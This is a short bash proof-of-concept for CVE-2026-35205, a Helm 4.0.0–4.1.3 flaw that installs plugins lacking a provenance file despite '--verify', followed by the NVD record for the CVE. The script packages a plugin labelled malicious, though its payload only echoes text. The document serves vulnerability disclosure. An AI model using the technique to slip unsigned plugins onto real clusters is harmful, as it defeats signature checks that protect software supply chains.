CVE-2026-35205

#!/bin/bash # PoC for CVE-2026-35205: Helm Plugin Signature Verification Bypass # Description: Demonstrates installing a plugin without a .prov file. # 1. Create a malicious plugin directory mkdir -p malicious-helm-plugin cd malicious-helm-plugin # 2. Create a minimal plugin.yaml cat > plugin.yaml <<EOF name: poc-plugin version: "1.0.0" usage: "Malicious plugin" command: "echo 'System Compromised'" EOF # 3. Create a dummy executable echo '#!/bin/sh' > install.sh echo 'echo "Installing malicious payload..."' >> install.sh chmod +x install.sh # 4. Intentionally omit the .prov file (plugin-name-1.0.0.prov) # which is required for signature verification. # 5. Package the plugin tar czf ../malicious-helm-plugin.tar.gz . echo "Plugin packaged without .prov file." echo "On vulnerable versions, 'helm plugin install malicious-helm-plugin.tar.gz --verify' may succeed."

{"cve": {"id": "CVE-2026-35205", "sourceIdentifier": "[email protected]", "published": "2026-04-09T16:16:27.720", "lastModified": "2026-04-17T14:05:55.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Helm is a package manager for Charts for Kubernetes. From 4.0.0 to 4.1.3, Helm will install plugins missing provenance (.prov file) when signature verification is required. This vulnerability is fixed in 4.1.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-636"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:helm:helm:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.1.4", "matchCriteriaId": "800B9949-E36B-45F3-9EA0-CA9DDA3D8868"}]}]}], "references": [{"url": "https://github.com/helm/helm/commit/05fa37973dc9e42b76e1d2883494c87174b6074f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/helm/helm/releases/tag/v4.1.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/helm/helm/security/advisories/GHSA-q5jf-9vfq-h4h7", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}, {"url": "https://helm.sh/docs/topics/provenance/#the-provenance-file", "source": "[email protected]", "tags": ["Product"]}]}}